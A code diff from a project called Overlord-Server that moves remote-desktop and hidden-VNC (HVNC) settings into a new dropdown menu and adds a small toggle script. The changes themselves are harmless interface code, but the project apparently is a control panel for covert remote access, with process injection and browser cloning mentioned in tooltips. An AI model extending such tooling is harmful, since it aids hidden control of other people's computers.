beautiful

Overlord-Server/public/assets/remotedesktop-settings-menu.js

@@ -0,0 +1,19 @@
+(function () {
+  const btn = document.getElementById("rdSettingsBtn");
+  const menu = document.getElementById("rdSettingsMenu");
+  const wrap = document.getElementById("rdSettingsWrap");
+  if (!btn || !menu || !wrap) return;
+  function setOpen(open) {
+    menu.classList.toggle("hidden", !open);
+    btn.setAttribute("aria-expanded", open ? "true" : "false");
+  }
+  btn.addEventListener("click", (e) => {
+    e.stopPropagation();
+    setOpen(menu.classList.contains("hidden"));
+  });
+  menu.addEventListener("click", (e) => e.stopPropagation());
+  document.addEventListener("click", () => setOpen(false));
+  document.addEventListener("keydown", (e) => {
+    if (e.key === "Escape") setOpen(false);
+  });
+})();

Overlord-Server/public/hvnc.html

@@ -22,46 +22,7 @@
 
     <main class="px-5 py-6 flex-1 flex flex-col">
       <div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
-        <div class="flex flex-wrap gap-3 items-center">
+        <div class="flex flex-wrap gap-2 items-center">
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
-          >
-            <label class="text-sm text-slate-300" for="displaySelect"
-              >Display</label
-            >
-            <select
-              id="displaySelect"
-              class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100"
-            ></select>
-            <button id="refreshDisplays" class="button ghost">
-              <i class="fa-solid fa-rotate"></i><span>Refresh</span>
-            </button>
-          </div>
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
-          >
-            <label for="qualitySlider" class="text-slate-200">Quality</label>
-            <input
-              id="qualitySlider"
-              type="range"
-              min="10"
-              max="100"
-              step="5"
-              value="90"
-              class="accent-violet-400"
-            />
-            <span id="qualityValue" class="pill pill-ghost text-slate-100"
-              >95%</span
-            >
-          </div>
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
-          >
-            <label class="flex items-center gap-2 text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
-              <input type="checkbox" id="codecH264" checked /> H.264
-            </label>
-            <span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
-          </div>
           <div class="flex items-center gap-2">
             <button id="startBtn" class="button primary">
               <i class="fa-solid fa-play"></i><span>Start</span>
@@ -79,6 +40,7 @@
               <i class="fa-solid fa-expand"></i><span>Fullscreen</span>
             </button>
           </div>
+
           <div
             id="streamStatus"
             class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
@@ -86,6 +48,7 @@
             <i class="fa-solid fa-circle-notch fa-spin"></i>
             <span>Connecting</span>
           </div>
+
           <div
             id="cloneProgress"
             class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
@@ -111,55 +74,109 @@
             <i id="launchStatusIcon" class="fa-solid fa-rocket text-sky-400"></i>
             <span id="launchStatusLabel" class="text-slate-300">Launching...</span>
           </div>
+
           <div
             class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
           >
-            <span class="uppercase tracking-wide text-xs text-slate-500"
+            <span class="uppercase tracking-wide text-xs text-slate-500">fps</span>
-              >fps</span
+            <span id="agentFps" class="pill pill-ghost font-mono text-violet-200">--</span>
-            >
-            <span
-              id="agentFps"
-              class="pill pill-ghost font-mono text-violet-200"
-              >--</span
-            >
             <span class="text-slate-600">→</span>
-            <span id="viewerFps" class="pill pill-ghost font-mono text-sky-200"
+            <span id="viewerFps" class="pill pill-ghost font-mono text-sky-200">--</span>
-              >--</span
-            >
             <span class="text-slate-600">|</span>
             <span class="uppercase tracking-wide text-xs text-slate-500">lat</span>
             <span id="latencyDisplay" class="pill pill-ghost font-mono text-amber-200">--</span>
           </div>
-          <div
-            class="flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
-          >
-            <label class="flex items-center gap-2 text-sm text-slate-200"
-              ><input type="checkbox" id="mouseCtrl" /> Mouse</label
-            >
-            <label class="flex items-center gap-2 text-sm text-slate-200"
-              ><input type="checkbox" id="kbdCtrl" /> Keyboard</label
-            >
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
-              ><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
-            >
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process). WARNING: If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."
-              ><input type="checkbox" id="dxgiCtrl" /> DXGI Capture
-              <i class="fa-solid fa-triangle-exclamation text-amber-400 text-xs" title="If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."></i></label
-            >
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps."
-              ><input type="checkbox" id="uiaCtrl" checked /> UIA Support</label
-            >
-            <label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
-            <select
-              id="hvncResolutionSelect"
-              class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
-            >
-              <option value="720">720p</option>
-              <option value="1080" selected>1080p</option>
-              <option value="1440">1440p</option>
-              <option value="-1">Native</option>
-            </select>
 
+          <div class="relative ml-auto" id="rdSettingsWrap">
+            <button
+              id="rdSettingsBtn"
+              type="button"
+              class="button ghost"
+              aria-haspopup="true"
+              aria-expanded="false"
+            >
+              <i class="fa-solid fa-sliders"></i><span>Settings</span>
+              <i class="fa-solid fa-chevron-down text-[10px] text-slate-400 ml-1"></i>
+            </button>
+
+            <div
+              id="rdSettingsMenu"
+              class="hidden absolute right-0 top-full mt-2 w-[360px] max-h-[75vh] overflow-y-auto rounded-xl border border-slate-700 bg-slate-900/95 backdrop-blur-md shadow-2xl shadow-black/50 z-50"
+              role="menu"
+            >
+              <div class="px-4 py-3 border-b border-slate-800">
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Display</div>
+                <div class="flex items-center gap-2 mb-2">
+                  <label class="text-sm text-slate-300 w-20" for="displaySelect">Monitor</label>
+                  <select
+                    id="displaySelect"
+                    class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
+                  ></select>
+                  <button id="refreshDisplays" class="button ghost" title="Refresh display list">
+                    <i class="fa-solid fa-rotate"></i>
+                  </button>
+                </div>
+                <div class="flex items-center gap-2">
+                  <label class="text-sm text-slate-300 w-20" for="hvncResolutionSelect">Resolution</label>
+                  <select
+                    id="hvncResolutionSelect"
+                    class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
+                  >
+                    <option value="720">720p</option>
+                    <option value="1080" selected>1080p</option>
+                    <option value="1440">1440p</option>
+                    <option value="-1">Native</option>
+                  </select>
+                </div>
+              </div>
+
+              <div class="px-4 py-3 border-b border-slate-800">
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Video</div>
+                <div class="flex items-center gap-2 mb-2">
+                  <label class="text-sm text-slate-300 w-20" for="qualitySlider">Quality</label>
+                  <input
+                    id="qualitySlider"
+                    type="range"
+                    min="10"
+                    max="100"
+                    step="5"
+                    value="90"
+                    class="flex-1 accent-violet-400"
+                  />
+                  <span id="qualityValue" class="pill pill-ghost text-slate-100 text-xs min-w-[44px] text-center">95%</span>
+                </div>
+                <div class="flex items-center justify-between gap-2">
+                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
+                    <input type="checkbox" id="codecH264" checked /> H.264
+                  </label>
+                  <span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
+                </div>
+              </div>
+
+              <div class="px-4 py-3 border-b border-slate-800">
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Input &amp; Capture</div>
+                <div class="grid grid-cols-2 gap-x-3 gap-y-2">
+                  <label class="flex items-center gap-2 text-sm text-slate-200">
+                    <input type="checkbox" id="mouseCtrl" /> Mouse
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200">
+                    <input type="checkbox" id="kbdCtrl" /> Keyboard
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
+                    <input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use DXGI Present hook for faster capture (requires injected process). WARNING: If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it.">
+                    <input type="checkbox" id="dxgiCtrl" />
+                    <span>DXGI Capture</span>
+                    <i class="fa-solid fa-triangle-exclamation text-amber-400 text-xs" title="If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."></i>
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
+                    <input type="checkbox" id="uiaCtrl" checked /> UIA Support
+                  </label>
+                </div>
+              </div>
+
+            </div>
           </div>
         </div>
 
@@ -375,6 +392,7 @@
     </main>
 
     <script defer src="/vendor/msgpackr/msgpackr.js"></script>
+    <script defer src="/assets/remotedesktop-settings-menu.js"></script>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/hvnc.js"></script>
   </body>

Overlord-Server/public/remotedesktop.html

@@ -22,68 +22,7 @@
 
     <main class="px-5 py-6 flex-1 flex flex-col">
       <div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
-        <div class="flex flex-wrap gap-3 items-center">
+        <div class="flex flex-wrap gap-2 items-center">
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
-          >
-            <label class="text-sm text-slate-300" for="displaySelect"
-              >Display</label
-            >
-            <select
-              id="displaySelect"
-              class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100"
-            ></select>
-            <button id="refreshDisplays" class="button ghost">
-              <i class="fa-solid fa-rotate"></i><span>Refresh</span>
-            </button>
-          </div>
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
-          >
-            <label for="qualitySlider" class="text-slate-200">Quality</label>
-            <input
-              id="qualitySlider"
-              type="range"
-              min="10"
-              max="100"
-              step="5"
-              value="90"
-              class="accent-emerald-400"
-            />
-            <span id="qualityValue" class="pill pill-ghost text-slate-100"
-              >95%</span
-            >
-          </div>
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
-          >
-            <label for="resolutionSelect" class="text-slate-200">Resolution</label>
-            <select
-              id="resolutionSelect"
-              class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100"
-            >
-              <option value="720">720p</option>
-              <option value="1080" selected>1080p</option>
-              <option value="1440">1440p</option>
-              <option value="-1">Native</option>
-            </select>
-          </div>
-          <div
-            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
-          >
-            <label class="flex items-center gap-2 text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
-              <input type="checkbox" id="codecH264" checked /> H.264
-            </label>
-            <span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
-            <label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct, server only relays signaling. Relayed: through MediaMTX (works behind tougher NATs).">
-              <span class="text-slate-200">Transport</span>
-              <select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
-                <option value="off" selected>Canvas</option>
-                <option value="p2p">WebRTC P2P</option>
-                <option value="relayed">WebRTC Relayed</option>
-              </select>
-            </label>
-          </div>
           <div class="flex items-center gap-2">
             <button id="startBtn" class="button primary">
               <i class="fa-solid fa-play"></i><span>Start</span>
@@ -95,6 +34,7 @@
               <i class="fa-solid fa-expand"></i><span>Fullscreen</span>
             </button>
           </div>
+
           <div
             id="streamStatus"
             class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
@@ -102,21 +42,14 @@
             <i class="fa-solid fa-circle-notch fa-spin"></i>
             <span>Connecting</span>
           </div>
+
           <div
             class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
           >
-            <span class="uppercase tracking-wide text-xs text-slate-500"
+            <span class="uppercase tracking-wide text-xs text-slate-500">fps</span>
-              >fps</span
+            <span id="agentFps" class="pill pill-ghost font-mono text-emerald-200">--</span>
-            >
-            <span
-              id="agentFps"
-              class="pill pill-ghost font-mono text-emerald-200"
-              >--</span
-            >
             <span class="text-slate-600">→</span>
-            <span id="viewerFps" class="pill pill-ghost font-mono text-sky-200"
+            <span id="viewerFps" class="pill pill-ghost font-mono text-sky-200">--</span>
-              >--</span
-            >
           </div>
           <div
             class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
@@ -124,41 +57,126 @@
             <span class="uppercase tracking-wide text-xs text-slate-500">input</span>
             <span id="inputLatency" class="pill pill-ghost font-mono text-amber-200">-- ms</span>
           </div>
-          <div
+
-            class="flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
+          <div class="relative ml-auto" id="rdSettingsWrap">
-          >
+            <button
-            <label class="flex items-center gap-2 text-sm text-slate-200"
+              id="rdSettingsBtn"
-              ><input type="checkbox" id="mouseCtrl" /> Mouse</label
+              type="button"
+              class="button ghost"
+              aria-haspopup="true"
+              aria-expanded="false"
             >
-            <label class="flex items-center gap-2 text-sm text-slate-200"
+              <i class="fa-solid fa-sliders"></i><span>Settings</span>
-              ><input type="checkbox" id="kbdCtrl" /> Keyboard</label
+              <i class="fa-solid fa-chevron-down text-[10px] text-slate-400 ml-1"></i>
+            </button>
+
+            <div
+              id="rdSettingsMenu"
+              class="hidden absolute right-0 top-full mt-2 w-[360px] max-h-[75vh] overflow-y-auto rounded-xl border border-slate-700 bg-slate-900/95 backdrop-blur-md shadow-2xl shadow-black/50 z-50"
+              role="menu"
             >
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
+              <div class="px-4 py-3 border-b border-slate-800">
-              ><input type="checkbox" id="cursorCtrl" /> Cursor</label
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Display</div>
-            >
+                <div class="flex items-center gap-2 mb-2">
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)"
+                  <label class="text-sm text-slate-300 w-20" for="displaySelect">Monitor</label>
-              ><input type="checkbox" id="duplicationCtrl" /> GPU Capture</label
+                  <select
-            >
+                    id="displaySelect"
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
+                    class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
-              ><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
+                  ></select>
-            >
+                  <button id="refreshDisplays" class="button ghost" title="Refresh display list">
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Stream system audio from the remote machine"
+                    <i class="fa-solid fa-rotate"></i>
-              ><input type="checkbox" id="audioCtrl" /> <i class="fa-solid fa-volume-high text-slate-400"></i> Audio</label
+                  </button>
-            >
+                </div>
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Audio transport. WS: raw PCM over the existing WebSocket (current default). WebRTC modes use G.711 over the WebRTC track instead.">
+                <div class="flex items-center gap-2">
-              <span class="text-slate-400">Audio via</span>
+                  <label class="text-sm text-slate-300 w-20" for="resolutionSelect">Resolution</label>
-              <select id="audioTransport" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
+                  <select
-                <option value="off" selected>WS</option>
+                    id="resolutionSelect"
-                <option value="p2p">WebRTC P2P</option>
+                    class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
-                <option value="relayed">WebRTC Relayed</option>
+                  >
-              </select>
+                    <option value="720">720p</option>
-            </label>
+                    <option value="1080" selected>1080p</option>
-            <audio id="webrtcAudio" autoplay style="display: none"></audio>
+                    <option value="1440">1440p</option>
-            <label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
+                    <option value="-1">Native</option>
-              <span class="text-slate-400">Smoothing</span>
+                  </select>
-              <input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
+                </div>
-              <span id="smoothingValue" class="pill pill-ghost text-slate-100">20%</span>
+              </div>
-            </label>
+
+              <div class="px-4 py-3 border-b border-slate-800">
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Video</div>
+                <div class="flex items-center gap-2 mb-2">
+                  <label class="text-sm text-slate-300 w-20" for="qualitySlider">Quality</label>
+                  <input
+                    id="qualitySlider"
+                    type="range"
+                    min="10"
+                    max="100"
+                    step="5"
+                    value="90"
+                    class="flex-1 accent-emerald-400"
+                  />
+                  <span id="qualityValue" class="pill pill-ghost text-slate-100 text-xs min-w-[44px] text-center">95%</span>
+                </div>
+                <div class="flex items-center gap-2 mb-2">
+                  <label class="text-sm text-slate-300 w-20" for="webrtcMode">Transport</label>
+                  <select id="webrtcMode" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Streaming transport. P2P: browser ↔ agent direct, server only relays signaling. Relayed: through MediaMTX (works behind tougher NATs).">
+                    <option value="off" selected>Canvas</option>
+                    <option value="p2p">WebRTC P2P</option>
+                    <option value="relayed">WebRTC Relayed</option>
+                  </select>
+                </div>
+                <div class="flex items-center justify-between gap-2">
+                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
+                    <input type="checkbox" id="codecH264" checked /> H.264
+                  </label>
+                  <span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
+                </div>
+              </div>
+
+              <div class="px-4 py-3 border-b border-slate-800">
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Audio</div>
+                <label class="flex items-center gap-2 text-sm text-slate-200 mb-2" title="Stream system audio from the remote machine">
+                  <input type="checkbox" id="audioCtrl" />
+                  <i class="fa-solid fa-volume-high text-slate-400"></i>
+                  <span>Enable audio</span>
+                </label>
+                <div class="flex items-center gap-2">
+                  <label class="text-sm text-slate-300 w-20" for="audioTransport">Via</label>
+                  <select id="audioTransport" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Audio transport. WS: raw PCM over the existing WebSocket (current default). WebRTC modes use G.711 over the WebRTC track instead.">
+                    <option value="off" selected>WS</option>
+                    <option value="p2p">WebRTC P2P</option>
+                    <option value="relayed">WebRTC Relayed</option>
+                  </select>
+                </div>
+                <audio id="webrtcAudio" autoplay style="display: none"></audio>
+              </div>
+
+              <div class="px-4 py-3 border-b border-slate-800">
+                <div class="text-xs uppercase tracking-wide text-slate-500 mb-2">Input &amp; Capture</div>
+                <div class="grid grid-cols-2 gap-x-3 gap-y-2 mb-3">
+                  <label class="flex items-center gap-2 text-sm text-slate-200">
+                    <input type="checkbox" id="mouseCtrl" /> Mouse
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200">
+                    <input type="checkbox" id="kbdCtrl" /> Keyboard
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames">
+                    <input type="checkbox" id="cursorCtrl" /> Cursor
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
+                    <input type="checkbox" id="duplicationCtrl" /> GPU Capture
+                  </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Sync clipboard between your browser and the remote machine">
+                    <input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync
+                  </label>
+                </div>
+                <div class="flex items-center gap-2" title="Smooths mouse input for steadier movement">
+                  <label class="text-sm text-slate-300 w-20" for="smoothingSlider">Smoothing</label>
+                  <input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="flex-1 accent-emerald-400" />
+                  <span id="smoothingValue" class="pill pill-ghost text-slate-100 text-xs min-w-[44px] text-center">20%</span>
+                </div>
+              </div>
+
+            </div>
           </div>
         </div>
 
@@ -233,6 +251,7 @@
     </main>
 
     <script defer src="/vendor/msgpackr/msgpackr.js"></script>
+    <script defer src="/assets/remotedesktop-settings-menu.js"></script>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/remotedesktop.js"></script>
   </body>